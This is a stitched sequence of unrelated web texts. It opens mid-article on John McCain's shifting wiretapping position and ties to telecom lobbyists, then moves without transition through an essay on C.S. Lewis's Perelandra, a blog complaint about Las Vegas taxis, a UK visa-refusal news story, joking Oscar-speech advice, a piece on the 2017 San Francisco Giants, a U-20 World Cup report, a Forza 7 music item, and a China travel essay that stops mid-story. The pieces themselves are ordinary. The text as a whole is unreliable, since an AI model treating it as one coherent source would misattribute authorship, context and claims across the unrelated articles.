USA Today reports "Of the 66 current or former lobbyists working for the Arizona senator or raising money for his presidential campaign, 23 have lobbied for telecommunications companies in the past decade." The New York Times noted Holtz-Eakin's letter Friday and spoke to several legal experts suggesting that McCain has shifted his position on wiretapping, compared to an earlier interview with the Boston Globe in which he seemed to distance himself from Bush's sweeping view of executive power. David Golove, a New York University law professor who specializes in executive power issues, said that while the language used by Mr. McCain in his answers six months ago was imprecise, the recent statement by Mr. Holtz-Eakin “seems to contradict precisely what he said earlier.”
Mr. McCain’s position, as outlined by Mr. Holtz-Eakin, was criticized by the campaign of his presumptive Democratic opponent in the presidential election, Senator Barack Obama of Illinois. Greg Craig, an Obama campaign adviser, said Wednesday that anyone reading Mr. McCain’s answers to The Globe and the more recent statement would be “totally confused” about “what Senator McCain thinks about what the Constitution means and what President Bush did.”
“American voters deserve to know which side of this flip-flop he’s on today, and what he would do as president,” Mr. Craig said in a phone interview.
Tucker Bounds, a McCain campaign spokesman, said Mr. McCain’s position on surveillance laws and executive power “has not changed.” Sen. Bob Graham, who was chairman of the Senate Intelligence Committee when Bush instituted the warrantless wiretapping program after 9/11, called the justification of the program a "smokescreen" for a wider data-mining effort. "All of this is really a smokescreen and what the administration is hiding under that smoke screen. ... Really they're doing data mining which is where you're collecting milions of pieces of information," Graham said in response to a question from RAW STORY during an Obama campaign conference call Friday. Graham, an Obama supporter, said current FISA law, which McCain believes is inadequate, provides more than enough leeway for the NSA and other agencies to gather the intelligence they need. He said the warrantless wiretapping was an effort to resurrect the Total Information Awareness data-mining program that had been abandoned by the administration. "The administration instead of walking away from it's collapsed tent, tried to find a new way to erect it," he said. Friday's Times' article on McCain's shifting position was written by Charlie Savage, the former Boston Globe reporter who won a Pulitzer for his reporting on Bush's efforts to expand the scope of executive power. Savage also was perhaps the only reporter to comprehensively quiz the presidential candidates on their views of the president's power. EFF's Kurt Opsahl asks whether the telco lobbyists in McCain's inner circle have helped push him away from his previous views. The strong connections between the telecom immunity lobbyists and the McCain campaign raise serious questions about McCain's about-face on warrantless wiretapping. As recently as November 2007, McCain told CNET News (emphasis added):
When companies provide private records of Americans to the government without proper legal subpoena, warrants, or other legal orders, their heart may be in the right place, but their actions undermine our respect for the law.
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In 1962, C.S. Lewis and Kingsley Amis talked over drinks about the developing genre of science fiction. Lewis’ favourite of his own science fiction novels, Perelandra, was just being adapted as an opera, and the colleagues discussed the essential qualities of the genre and of that particular book.
Kingsley Amis argued that the heart of a science fiction novel was neither its ‘science’ nor its ‘fiction’ (in the sense of its story or plot), but its mood or imagery, capturing some aspect of the abiding but elusive human sense that our world is at once strange and familiar, full of both wonder and horror, a whole world yet a tiny planet in an intractable universe.[1] Lewis chimed in: ‘If some fatal progress of applied science ever enables us in fact to reach the Moon, that real journey will not at all satisfy the impulse which we now seek to gratify by writing such stories…. In a deadly sense [it’ll] be just like anywhere else’.[2]
Lewis’ own writing of Perelandra was dominated by just such a central image: ‘The starting point for my second novel, Perelandra ’, he told Amis, ‘was my mental picture of the floating islands. The whole of the rest of my labours in a sense consisted of building up a world in which floating islands could exist. And then of course the story about an averted fall developed. This is because, as you know, having got your people to this exciting country, something must happen’.
In Lewis’ novel, a Cambridge scholar travels to Perelandra or Venus, a young planet covered by a golden sea on whose surface luxuriantly verdant floating islands glide in and out of touch, overlooked by only one mass of mountainous fixed land. A first man and a first woman, majestic but also child‐like, spend their days moving freely from island to island—at once the ‘noble savages’ of Romantic literature and the Adam and Eve of Milton’s Paradise Lost:
The floating islands, the flat golden sky
At noon, the peacock sunset: tepid waves
With the land sliding over them like a skin:
The alien Eve, green‐bodied, stepping forth
To meet my hero from her forest home,
Proud, courteous, unafraid; no thought infirm
Alters her cheek— [3]
For Lewis, as a writer steeped in the Christian tradition, the lushness and innocence of this new world naturally suggested the religious idea of a new Eden—a world not (yet) fallen into sin. This religious interpretation was not a mere tag‐on; in fact, Lewis thought that science fiction couldn’t do without a spiritual dimension: ‘No merely physical strangeness or merely spatial distance will realise that idea of otherness which is what we are always trying to grasp in a story about voyaging through space: you must go into another dimension. To construct plausible and moving “other worlds” you must draw on the only real “other world” we know, that of spirit’.[4]
The reverse also held true for Lewis: The sense of ‘otherness’ that science fiction sometimes evokes so successfully through the image of outer space or a parallel world does not actually have to do with any place at all, but with the undeniable presence of ‘spirit’ in a physical universe. ‘No man would find an abiding strangeness on the Moon unless he were the sort of man who could find it in his own back garden’.[5]
To Lewis, that strangeness came to a head in the human propensity for goodness and creativity beyond hope on the one hand, and lethargy, malice and corruption unto despair on the other. The story of the Fall – and his own re‐telling of it as the story of an averted Fall, or of ‘Paradise Retained’ – was rich soil for the exploration of big questions about providence and free will, innocence and experience, the essence of myth and imagination, and the nature of sin.
In interlacing space travel and an imaginative journey to a sinless world, Lewis is also trying to explore and develop the nature and significance of the genre of science fiction—the ability to embody spirit in a way that usually music does better than words. Perhaps it was partly for this reason that he called the climax of his novel ‘operatic’, and was so enthusiastic about the idea of its musical adaptation.[6]
Exclusively on Transpositions:
The composer Donald Swann, famous for his comic collaboration with Michael Flanders, wrote an opera of C.S. Lewis’ Perelandra, which – though critically acclaimed at the time – has remained virtually unperformed (read more here).
Listen to excerpts from the opera:
Music credits:
Conductor: Jonathan Butcher,
Soloists: Jane Streeton and Charles Pope
Performed by the Oxford Chamber Orchestra
“Overture”
“Bird Song Anticipates the Dawn”
“No Man May Shorten the Way”
Judith Wolfe is Lecturer in Theology and the Arts at St Mary’s College, University of St Andrews. She has recently edited an essay collection on Perelandra: C.S. Lewis’s Perelandra: Reshaping the Image of the Cosmos (Kent State University Press, 2013). More information is available on her blog.
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When I arrived last Sunday I went straight to the taxi line and got a cab from the airport fairly quickly. The cab was clean, air conditioned and the driver was a really nice guy.
During my stay I didn't need a cab since I was downtown. Everything I needed was within walking distance. When I did need a ride, my friends would pick me up and drive us to a coworking space where we would, well you know, work. The week went by like a blur and we got a lot done. Overall, a successful business trip in Sin City.
What could possibly go wrong on the trip back to the airport, or trips around Vegas?
How about taxi service with wildly fluctuating rates for the same distance, taxi lines that take forever to navigate (and that only valets can “magically” expedite) and varying levels of driver pleasantness and car cleanliness? And if you do ultimately have a problem, no real recourse?
Let me back up to give you some background — last night (Friday) I wanted to get out of DTLV for a few hours and meet up with a good friend of mine who happened to be in Vegas. He was staying at the Southpoint Hotel and Casino, which was 13.3 miles away.
When I arrived, the price of the fare including tip came out to $50 and change, or about $3.50 per mile. It seemed like a lot to me, but I couldn't really complain. I got from point A to point B without any hassles.
After playing Texas Hold 'Em for a few hours, I headed back downtown. I went to the taxi line and waited. And waited. And waited. After 10 minutes I was getting antsy and vented on Twitter.
Vegas needs Uber. — Justin Dorfman (@jdorfman) July 12, 2014
Another seven minutes goes by and still no taxi in sight. Not to mention there were two people in line ahead of me. So I called a cab. I found a service with 3 stars and lucky me and someone picked up immediately! I told them where I was and they replied, "Sorry sir, we can't send a cab to hotels. You need to just wait until they arrive."
Yay I get to wait for awesome taxi service! Thanks Nevada! pic.twitter.com/2SGeX3o6ZM — Justin Dorfman (@jdorfman) July 12, 2014
WTF?
I hung up the phone and walked over to the valet station and asked if he could call us some cabs, since there were multiple parties waiting. He got on the phone and made a call; three SUV taxis magically arrived before he hung up.
When I got into the cab, the driver was a jolly guy all around. There’s not a lot of traffic at 2 am, so he got me back to downtown Vegas quickly. This time the fare was $15 dollars cheaper, which was cool.
I woke up this morning, packed my shit and went to the valet to get a cab to the airport. The car that came looked really beat up but I really didn't care. The inside is what counts (for me anyway).
I got in, and the first thing I saw was a beer bottle. Kind of gross but hey, it's Vegas! I start to roll down the window before we left because the car was balls hot. Why? The AC wasn't running. But hey… it’s Vegas?
The guy turned around and asked, "Where you headed?" I told him, "Airport, please," and we were on our way. That’s when I noticed what I’d literally gotten myself into.
I looked around in the cab and I was disgusted. I’ll let these pictures do the talking:
Now comes the best part. We arrive at the airport, I gave him my credit card and he said, "This is a cash only taxi.” I thought he was kidding because he was smiling...then I realized he wasn't kidding.
“How am I suppose to pay you?" I asked. He replied, avoiding the question: "I can give you a receipt."
What?
Clearly he saw that I had some cash (thank you poker gods!). I give him the $30.50 and got the hell out as quickly as I could.
Now, before you start making assumptions — such as that I work for Uber (I don't, I'm just a loyal customer and brand advocate) — hear me out:
I know this is a first world problem, but I live in a first world country and uberX is how I get around in Los Angeles when I can't take public transportation.
I am not rich by any means. I work hard and make enough money to expect a good customer experience and good customer service. I have had a bad experience with Uber. But when I gave a negative review, they quickly gave me a service credit and stated the driver was new to the area (DTLA is full of one way streets) and the ride was on them. This was unexpected, and I didn’t expect anything from them.
I have nothing against the taxi industry. In LA they are actually innovating the cab ride experience to keep Uber and others from taking over their market share. If uberX is not available, I just open up TaxiMagic and have an uberX-like experience. But there’s no alternatives in Vegas.
So what the hell is your problem princess?
The problem is that I don't have a choice. The Nevada Taxicab Authority can get away with pretty much whatever they want.
So why does Vegas need Uber?
Got a complaint? Don't worry, you can call customer service, wait on hold and leave a message that will most likely not get returned. Bottom line: there is no accountability or competition to change anything.
If you don't know, the city of Las Vegas is not doing too well. While Las Vegas ranked No. 3 in employment growth in the first quarter of this year, it's still 6 percent below the city’s total number of peak jobs. Will allowing Uber to operate in Nevada increase job growth? Maybe a little, but it still won't be a silver bullet by any means.
I strongly believe that Vegas needs Uber is because their economy primarily relies on tourists to spend money on gaming and entertainment. While Tony Hsieh has done amazing things to help revitalize downtown Las Vegas, the casinos and the strip are what fuels the local economy. Six out of the ten largest employers in Nevada are casinos, while the other four are government jobs. (There’s nothing wrong with that. I’m just stating the facts.)
If their economy heavily relies on tourist spending money on entertainment and gaming, and if they have a shitty experience getting from place to place, why would they come back? There are other places in the country, and the world, that have legal gaming. You know like Atlantic City…
I am probably in a very small minority of tourists who knows or cares what Uber is or does. However, I won't be visiting Vegas unless I need to for business. I don't find any pleasure in having a shitty experience and I avoid them at all cost.
Uber doesn't need Vegas, Vegas NEEDS Uber.
Alexandria Rintoul, who is originally from Shillong, Meghalaya, passed an advanced version of the International English Language Testing System (IELTS), but the visa requirement is for a much easier exam.
“Some applicants for visas to settle in the UK need to pass an English language test at an approved centre that is specified in the immigration rules,” a Home Office spokeswoman told the BBC.
“Mrs Rintoul failed to do this and also failed to submit the necessary supporting evidence for her application. It is open to her to reapply under the Priority Visa Service,” the spokeswoman said.
Her application was denied on these grounds and she was asked to pass requisite English exam. “As evidence of this, you have provided your IELTS certificate. However, it is noted that this certificate is not an IELTS certificate acceptable for UKV,” said the rejection letter sent by the immigration department.
In her post, Rintoul said the immigration department also shared their doubts over her English as she was coming from a country which is not listed in the majority English-speaking countries.
She was set to join her husband Bobby Rintoul, a Scottish national, for Christmas.
“The UK government should at least give a partner, dependent or spouse visa a chance to avoid getting refused. And they should be very, very (politically) careful about what they say on the letter. They have no proof that India is not an English speaking country to say what they said,” Rintoul said, in an email response to Hindustan Times.
Rintoul, who studied Communicative English and media at Mount Carmel College in Bangalore, married the Scottish national on May 2.
“My husband and I met at Shiros in UB city when he was working on oil rigs in Chennai at that time and I was still in college. We fell in love deeply and now we’re trying to live our little dream of having our family together.”
Rintoul, who is pregnant with her first child, has been asked to apply for the visa again.
“I am reapplying right now with the help of a Scottish member of Parliament,Steven P Gethins, who also wrote a cover letter to aid our application and all my husband’s friends and family are supporting us,” she said.
However, the whole incident has turned out to be a costly affair for the couple. Each visa document cost 2,000 British pounds, she said.
“I had to apply again. I have a house there. If I knew this was going to happen we would have bought a house here in India, but my husband has a job and is well settled. I just graduated and (I am) working my way up to be a good writer; I can do that from anywhere.”
Rintoul is currently staying in a hotel in Bengaluru. “I recently flew to Chennai for my life skills test for the visa. The one in Kolkata got cancelled, so a lot of money went out for a trip for us this year,” she said.
Featured image: Alexandria with her husband Bobby Rintoul(Facebook)
1. Show some emotion for Christ’s sake you’ve just won an Oscar.
This is perhaps one of the most coveted awards that an actor/actress/director/artist can receive as recognition for a job well done. Like the presidency, “Oscar-Winner” is a title that will follow you always and forever, so please show a little bit of emotion. It’s sad when it seems that the people in your party a little more excited about receiving the award than you are. You’re an actor, dig deep. As my momma always said, “fake it to make it”. That being said …
2. Don’t feign surprise; You’re not that good of an actor.
The whole, “I was not expecting this” is tired and cliched. There is a competitive spirit that resides within all of us. You may have respect for your fellow nominees, and you might even be sincerely be happy if someone other than you wins the award, however at the end of the day you want that chiseled golden icon sitting above your mantle. Don’t deny it. Wanting it doesn’t make you an asshole. Along the same lines …
3. You had a month of prep time, write a damn speech.
Oscar nominations are announced a month ahead of time giving you ample time to entertain the notion that you may or may not win the damn thing. PREPARE. Like any other performance, get your script and memorize your lines. Similarly, have your notecard/piece of paper/3 paragraph essay IN YOUR HAND as they are announcing the nominees so that we do not have to awkwardly watch you struggle to unearth your speech from whatever pocket you have placed your speech. Speaking of speeches …
4. Don’t thank everyone; No one really cares.
We understand that a number of individuals are responsible for your individual success. Everyone from the director guiding you to play the character in a particular way to the lowly assistant that sustains your caffeine addiction, keeping you from keeling over on set. They are all important, but you only have a few seconds to leave a lasting impression of appreciation and hastily spouting off random names is not necessarily the best way to do it. Also, don’t thank God. People may or may not agree with me on this, but it always comes across as a little awkward and insincere. It also forces the peanut gallery to raise the question, “does God really give a shit you won an Oscar?” Speaking of Messiahs …
5. Follow the Oscar Girl
The Oscar girl, typically a relative of some A-list celebrity, is primarily charged with directing the flow of confused presenters/winners who are blithely unaware of where to stand or exit. Do not forge your own path, do not travel down the path less taken, do not pass GO, do not collect $200. FOLLOW HER and get your ass of the stage.
I, of course, very much like Christopher Plummer already have my Oscar speech written on the off-hand chance I am nominated and win. That, my dear readers, is dedication.
Let’s count the ways. They have the second-worst record in baseball, 28–51, which has them on pace for their first 100-loss season in 30 years. They have the worst defensive outfield in baseball, and the worst run differential of any Giants team since 1902. They are the second-worst team in baseball at converting balls in play into outs. They are ugly to watch. Fewer and fewer people will pay more than a few bucks to do so; in the midst of Sunday’s 8–2 loss to the Mets, fans took to booing reliever Josh Osich. The Giants are really, truly, monstrously bad.
But isn’t this all a bit weird, in the sense that, well, aren’t the Giants supposed to be good? Isn’t this the team, led by manager Bruce Bochy, that won the World Series in 2010, 2012, and 2014, a three-in-five-years rampage that has only ever been accomplished elsewhere a handful of times? Wasn’t this the squad that had sportswriters crowing about dynasties, whose über-annoying Even-Year Magic was annoying only really because it seemed to have some grain of cosmic truth to it? Isn’t this, more recently, the franchise that was the best team in baseball through the first half of the 2016 season? Aren’t many of the recent stars still there, still — dirt bikes aside — mostly in working order? Haven’t you failed to see any explanatory headlines about Bay Area cataclysms — nary a mention of AT&T Park locusts or arm-falling-off-oidosis or “gunk”?
Pointing and laughing is a valid response: The Giants have had more than their fair share of this decade’s confetti. But still: It’s weird. You don’t have to have an inclination for orange to wonder what in the ever-loving hell happened to the San Francisco Giants.
It is said that victory has a hundred fathers but defeat is an orphan. I am proud to report that the Giants’ misery is unlikely ever to see the inside of the great baseball orphanage. An entire, many-armed-and-legged village of Suck has raised the 2017 Giants; there are so many sources of horror that it is difficult to choose which one to consider after any given loss.
It was easy enough to pin the plight of the 2016 Giants, who tumbled from their brilliant 57–33 first half to a dismal 30–42 second leg on a single culprit: the bullpen. Together, Giants relievers blew 32 saves last season. They logged off with a remarkable pièce de résistance in Game 4 of the NLDS, in which they managed to throw away a 5–2 lead against the Cubs in the ninth inning. Bochy flailed through five different relievers in what should have been a sure thing, subbing in Derek Law, then Javier López, then Sergio Romo, then Will Smith, and finally Hunter Strickland, who collectively gave up a baffling collection of hits and/or happiness. The Cubs won. The Giants went home. My couch cushions assumed a new shape.
So in the offseason, the Giants went and plugged the hole, signing closer Mark Melancon to a four-year deal. He’s done OK enough in San Francisco — he has 11 saves in 15 chances with the Giants through Sunday, but he’s racked up a 4.58 ERA, and the team has only gotten worse.
The fundamental problems are boring ones, and not especially uncommon to championship teams. As trophies continued to arrive — or, more aptly, as seats and jerseys continued to sell — the Giants made a point of doing good by their stars. Some, like Buster Posey, Brandon Belt, and Brandon Crawford, have remained generally reliable contributors; others, like the now-34-year-old Hunter Pence, who is in the penultimate year of a $90 million contract, have missed long stretches of time with injuries or else slipped precipitously. (Pablo Sandoval’s bizarre 2015 heel turn is perhaps the only reason AT&T Park doesn’t have a very expensive panda petting zoo right now.) The result is that San Francisco’s roster is the sixth-oldest in the majors; more than 75 percent of San Francisco’s 2017 payroll is committed to players in their 30s.
Over the past decade, the Giants, whose farm system has long been something less than inspiring, parted with some of the few promising prospects who came along in exchange for short-term, win-now additions: Starting pitcher Zack Wheeler was shipped off to the Mets in 2011 for Carlos Beltrán, while last season’s ultimately doomed bullpen was cobbled together in August by sending Andrew Susac and Phil Bickford, both former top prospects, to the Brewers. Between 1991 and 2016, the Giants never once topped four prospects on Baseball America’s top-100 list.
Homegrown pitching was long the exception to this rule: The Giants system produced heavyweights like Madison Bumgarner, Matt Cain, and two-time Cy Young Award winner Tim Lincecum. But the well has finally run dry: Lincecum’s contract wasn’t renewed after the 2015 season, Cain hasn’t had a sub-4.00 ERA since 2012, and Bumgarner is predicted to be out until August, while longtime closer Sergio Romo struggled throughout 2016 and was picked up by the Dodgers in the offseason. From 2009 to 2016, Giants pitchers ranked in the top 10 of ERA in all but two years. This year, they’re 24th.
Things aren’t any better offensively: The Giants’ cumulative .243 batting average puts them at 26th in the league. But even when things go well for San Francisco, the 2017 Giants have found ways to lose. A five-hit, one-run gem from Johnny Cueto on Saturday was done away with by the bullpen; the Giants lost, 5–2. They also lost all four of Bumgarner’s starts before his April accident (seemingly tailored to extinguish the last embers of hope in San Francisco by a vengeful god) sent him to his first stint on the DL; in three of those games, the Giants failed to provide more than a single run of support. When the batters do find their way, the pitchers fall to pieces. On June 15, they managed a Coors Field–fueled nine runs against the Rockies, but eight of those came after starter Matt Moore allowed the Rockies to get up 9–1. After San Francisco batters tied the game in the top of the ninth, Strickland gave up the go-ahead run to the Rockies and the Giants again lost, 10–9.
The generous way of describing this is to say that these Giants have bad luck; a less charitable one might be that something is deeply amiss on the chemistry front. A column on Monday went so far as to suggest that the Giants’ clubhouse has struggled this season because of the absence of Angel Pagan, who spent five years in San Francisco’s outfield before semi-retiring this spring. Those post-Pagan struggles, wrote Fox Sports’ Ken Rosenthal, are not because of players missing the camaraderie created by a beloved outfielder, but because his teammates hated him so much that he brought them together, “[creating] an odd sort of unity because most of the players disliked him.” Melancon also earned a mention, for “[rubbing] some teammates the wrong way early in the season,” according to Rosenthal. Elsewhere, it has been suggested that the team’s relative dearth of Latin players has doomed it. They’re all tempting theories: How else to explain every facet of Giantsdom simultaneously going to shit than some murky locker-room problem at the team’s root?
Luck seems like it shouldn’t matter quite this much, but the 2017 Giants aren’t even especially unlucky. In their championship years, the Giants have been about as lucky as any team. Even-Year Magic, after all, had a kind of infuriating undeniability to it. How else to explain Travis Ishikawa’s home run in the 2014 NLCS or Cody Ross’s awakening? This season, though, the variance hasn’t quite corrected itself: FanGraphs’ baseruns, which measures how teams perform compared to how they’re predicted to for a rough approximation of luck, has San Francisco just two games below its predicted pace. That’s the result of some bad breaks, certainly, but makes the Giants just the 10th-unluckiest team this year. (The Yankees are six games below their own predicted baseruns pace … and yet still lead the AL East.)
Prior to Sunday’s final group game against Saudi Arabia, the Americans were already assured of a spot in the knock-out rounds of the FIFA U-20 World Cup Korea Republic 2017 after Ecuador drew with Senegal earlier in the day.
So, it was a game for position as a late goal by Abdulelah Alamri gave the Green Eagles a 1–1 tie and a spot in the next round as well.
For the Americans, the draw still allowed them to win the group, but the point led to a match with New Zealand — who finished second in Group E following a 2–0 loss to France Sunday — in the knock-out stage.
Brooks Lennon put the Americans up after firing a shot to find the back of the net in the 40th minute of the game.
In the 45th minute, the U.S. was forced to play a man down after Cameron Carter-Vickers drew his second yellow card of the game and was sent off.
Saudi Arabia attempted to capitalize on the man advantage, but it wasn’t until the 74th minute that Alamri rocketed a shot past American goalkeeper Jonathon Klinsmann, tying the game and, subsequently, securing the Green Eagles’ spot for the Green Eagles. They will face Uruguay on Wednesday.
For the game, the United States outshot Saudi Arabia 12–9, but the Green Eagles possessed the ball 51 percent of the game.
UP NEXT: The United States will return to Incheon to take on New Zealand in the knock-out stage of the tournament. The Kiwis finished 1–1–1 in group play, getting a win over Honduras, tying Vietnam and losing to group winner France. The winner will get the winner of Venezuela-Japan in the quarterfinals. The U.S. last reached the quarters in 2015 in New Zealand.
NOTES: Gedion Zelalem has been ruled out of the remaining games of the World Cup for the United States. He suffered a torn ACL in America’s 1–1 draw with Ecuador to start the tournament.
Highlights
Line-ups
United States: Klinsmann (GK), Acosta, Palmer-Brown (Capt), Adams, Saucedo, Herrera, Carter-Vickers, Lennon, Jones, Sargent, De La Torre. SUBS: Marcinkowski (GK), Scott (GK), Trusty, Redding, Glad, Williamson, Sabbi, Kunga, Ebobisse, Zelalem.
Saudi Arabia: Albukhari (GK), Zabbani, Alamri, Alnaji (Capt), Alsamiri, Alkhuliaf, Alyami, Altambakti, Alasmari, Al Dosari, Tarmin. SUBS: Alohaymid (GK), Alyami (GK), Albassas, Alsaluli, Alqayd, Kireiri, Aldawsari, Almuwallad, Alharbi.
Cautions
Aaron Herrera (USA) 8”, Abdulrahman Aldosari (KSA) 23’, Sami Alnaji (KSA) 30’, Derrick Jones (USA) 32’, Abullah Tarmin (KSA) 33’, Cameron Carter-Vickers (USA) 40’, Cameron Carter-Vickers (USA) 45’, Abdulelah Alamri (KSA) 65’.
Expulsions
Cameron Carter-Vickers (USA) 45’.
Results from Friday May 26 to Sunday May 28
Group A
England 1, Korea Republic 0
Argentina 5, Guinea 0
Group B
Venezuela 1, Mexico 0
Germany 3, Vanuatu 2
Group C
Costa Rica 1, Zambia 0
Portugal 2, Iran 1
Group D
Uruguay 0, South Africa 0
Japan 2, Italy 2
Group E
France 2, New Zealand 0
Honduras 2, Vietnam 0
Group F
Senegal 0, Ecuador 0
United States 1, Saudi Arabia 1
Knockout stage
May 30
Venezuela vs. Japan (Daejeon)
Korea Republic vs. Portugal (Cheonan)
May 31
Uruguay vs. Saudi Arabia (Suwon)
England vs. Costa Rica (Jeonju)
Zambia vs. Germany (Jeju)
June 1
Mexico vs. Senegal (Incheon)
France vs. Italy (Cheonan)
Something that many folks may have skipped by is the in-game music. In Forza Motorsport it takes a much less prominent role than it does in the Horizon series, but it's still important and it still has a very central part to play in Forza 7 .
This isn't the first time we've seen this, last year's Forza Horizon 3 had Groove Music support built in to stream both your own and your Groove-selected tracks. In our session at E3 with the developers, specifically OneDrive was discussed as a source of music, but it'd be fairly easy to assume this would extend to full Groove Music support as in Forza Horizon 3.
How to use Groove Music in Forza Horizon 3
So, how does it actually feature in Forza 7? In the Forzavista garage, you've got speakers as part of the decor, for want of a better term, and these will play music while you're in this area of the game. So if you've hooked up your own cloud-based music, it'll blast through these.
It'll also be heard from the in-grandstand speakers on the circuits you're racing on, which is a really neat idea and kicks up the immersive experience a little. Rather than just hearing it as background music as you do in Forza Horizon 3, it sounds like you'll catch a little piece of it as you storm past the grandstands.
It's not always about the visuals!
Forza Motorsport 7 will launch on October 3 on Xbox One and Windows 10, with an early access period beginning on September 29 for Ultimate Edition buyers.
In June this year, an explosive Four Corners episode presented findings of a six-month, joint ABC-Fairfax investigation into attempts by the Chinese Communist Party (CCP) to exert influence and control in Australia.
The episode - which followed and indeed seems largely premised on an identical investigation by the Australian Security Intelligence Organisation (ASIO) - painted a grim picture.
Chinese language media in Australia was being pressured and coerced to run pro-CCP stories. Chinese student associations in Australian universities had received assistance from Chinese consulate officials to organise rallies in support of CCP policies and to report dissenting Chinese classmates.
One student, Tony Chang, learned that his parents in China had been questioned by the local security service after he attended a pro-democracy rally in Brisbane. An Australian academic, Professor Feng Chongyi, had been detained and questioned during a visit to China after criticising the CCP and expressing pro-democratic views.
Perhaps most disturbing of all, senior Australian politicians on both sides of politics had accepted large donations from CCP-linked businessmen, and in the case of at least one recipient the desired effect seems to have been achieved.
This is not the first time China has had bad press in Australia. Since at least 2005, when senior Chinese diplomat Chen Yonglin warned Australians of a vast network of spies in the country, negative media on China has become a regular fixture. Reports on the persecution of ethnic minorities and religious groups such as Tibetans and Falun Gong appear perennially, as do articles with ominous satellite imagery of island-building and militarisation in the South China Sea.
In the last three months alone, we've seen reports of Chinese international students attempting to silence Australian lecturers, we've heard about Chinese cyber-attacks on Australian Defence contractors, we've heard how China's One Belt One Road (OBOR) initiative is causing strategic concerns within Australia's defence and intelligence community, we had a week of reporting on the nineteenth National Congress of the CCP (in which President Xi Jinping inserted himself into the constitution and dramatically reshaped the Party structure), and we've had the release of a Foreign Policy White Paper, which is overtly critical of China's island-building activities in the South China Sea.
So persistently ominous is the reporting on China in Australia that a dominant narrative is beginning to take hold. This narrative construes China as an authoritarian state ruled by an elite party oligarchy bent on "global dominance." The CCP is construed as a monolithic entity with a unified goal - namely, to increase its control, both internally and externally, by means of surveillance, censorship, propaganda, economic leverage, intimidation and the promotion of widespread, fervent nationalism, going right down to the student level.
In short, the typical representation of China that is beginning to take hold in Australia is of an emerging Orwellian superstate, complete with its own Youth League of student-spies.
I've just returned from two and a half weeks in Wuhan, a gargantuan, sprawling metropolis of some eleven million people situated in Hubei Province in the heart of mainland China. Most Australians I've spoken to have never heard of Wuhan. In China, the city is well-known. It straddles the Yangtze River, some 1000 kilometres upstream from coastal Shanghai. In 1966, a 73-year-old Chairman Mao swam across a section of the river, an event which is commemorated in Wuhan to this day. PR stunts aside, Wuhan was in fact one of the national capitals during the Republic of China period (1912-1949), and hosted the uprising that led to the downfall of the former Qing Dynasty (1644-1912).
Two and a half weeks in China is not long by any measure. It certainly doesn't make me a China expert (otherwise there'd be a lot of China experts out there). But in that brief period, I did manage to immerse myself quite a bit more than the average tourist. The purpose of my visit was academic. I spent two weeks teaching International Studies at Hubei University, one of at least a dozen universities in Wuhan. While I'm currently a PhD candidate at the Australian National University, it was through the University of Canberra - one of Hubei University's many international partners - that I was offered the gig. During my stay, I lived on campus in an apartment and interacted with students for several hours each day in both formal and informal settings. I had lengthy conversations with local graduate students and other foreign lecturers, some of whom had spent several years living and teaching in Wuhan. And I spent several full days and nights exploring Wuhan with faculty staff, who also happened to be members of the CCP. Again, not something your average tourist will experience.
Culture
What then was my impression of China? Specifically, was my experience consistent with the dominant narrative that's emerging in Australia? Well, yes and no. One thing's for sure, China is a far more complex nation than many Australians realise - I realised as much before my trip. The overwhelming sense I came away with was that China is full of contradictions.
From the moment I was picked up from Wuhan International Airport by faculty staff, my assumptions and expectations were challenged. I was greeted by an extremely friendly and talkative young man dressed head to toe in Adidas. Almost as soon as we hopped into the car, my chaperone began discussing his research. He explained that he had just graduated with a PhD, which focused on democratic social-movements, both in China and abroad. He was particularly interested in questions of Chinese government reform, and how the Chinese system might adapt to cope with movements for democratisation. As questions began flooding my mind (what did he just say? what kind of democracy was he talking about?) he mentioned, almost as if to reassure me, that he had also completed a Masters Degree focusing on similar issues at the University of Sheffield in England - hardly the sort of place that is likely to encourage ideological disfigurement or party dogma.
As we made our way through Wuhan, my chaperone continued talking about his experiences abroad. He liked Sheffield quite a lot, but it was his trip to France during a university break that seemed to have the biggest impact: "I think France and China are quite similar," he said. What he was referring to, aside from a love of bicycles, was a kind of republican spirit that sees the nation, not as a collection of individuals, but as a collective with a strong, unifying core of moral values whose expression and enforcement is entrusted to the government.
By the time we got to the university, it is fair to say that I was experiencing some cultural shock. What I hadn't anticipated is the fact that my shock was emanating not from the foreignness of my experience, but from precisely the opposite: it was as though I hadn't left the cosmopolitan university campuses of Canberra.
That evening, my first impressions of Wuhan were only reinforced. I caught a taxi to Wuhan's famous Hanjie Street. Clean, futuristic, expensive, Hanjie is a shopping and dining locality for Wuhan's middle-class. The main street runs parallel to a newly-constructed canal that connects two of Wuhan's largest lakes. It is lined with decadent restaurants, cafes, bars, and clothing stores stocked with big Western brands. The street is home to a giant Transformer statue (one of three I saw in different locations around Wuhan) and a Madame Tussauds wax museum. Adjacent to the main street is a glittering, new multistorey mall, with more Western brands and cute, talking robots designed to lure customers into stores. Massive high-rise apartments, whose walls feature dazzling light shows at night, surround the area.
Almost everywhere I went in Wuhan I saw signs of globalisation, economic liberalisation and modernisation. I came across two very glamorous-looking Pizza Huts, a McDonald's and a Walmart, all within the same block. (I later learned that if Walmart was a country it would be China's eighth largest trading partner.) During a taxi-ride on my second day, the radio was blaring with what sounded like a talk-show. My chaperone explained that the guest, a traditional Chinese medicine practitioner, was lamenting the fact that increasing numbers of Chinese were choosing modern "Western" forms of medicine over tradition Chinese forms. This, he elaborated, was part of a broader trend in China, particularly among younger generations who were turning their backs on many aspects of traditional Chinese culture, from food and medicine to clothing and leisure activities.
Toward the end of my first week, I was invited to a Latin Party by a Brazilian. (It turns out there are quite a few Brazilians in Wuhan. China is Brazil's largest trading partner, and both belong to the BRICS group of significant emerging economies. Many of my students were learning Portuguese as well as English.) And on my final night I found myself in a Belgian Beer Cafe at 3 am. The Wallabies were playing Wales on pay television, and later an impassioned debate erupted between the Belgian pub owner and a bunch of Brits over Brexit. "It's not that we don't like you," slurred one of the Brits as he staggered towards the exit, oblivious to the symbolism of his display. "We love you! We just don't want you telling us how to live!" These were not experiences I was expecting to have in Wuhan.
Students
What then about my teaching experience? I must admit to being somewhat apprehensive in the leadup. I was asked to teach two units: a second-year unit on globalisation and a third-year unit on the history of international relations. I was also asked specifically to avoid a "Eurocentric" perspective. My sense was that this was code for "make your lectures China-friendly." My immediate thoughts went something like this: "okay, Luke, best avoid being overly critical of China, and let's avoid topics like Taiwan, Tibet, and the South China Sea altogether." I was fully expecting to have my slides screened and approved before each lecture, and for wayward critical remarks to be vigorously challenged.
But neither scenario materialised. I was asked in advance to provide topic headings for each lecture, but that is customary practice everywhere in the world. Students and staff were oblivious to the specific content of my lectures right up until the moment they were delivered.
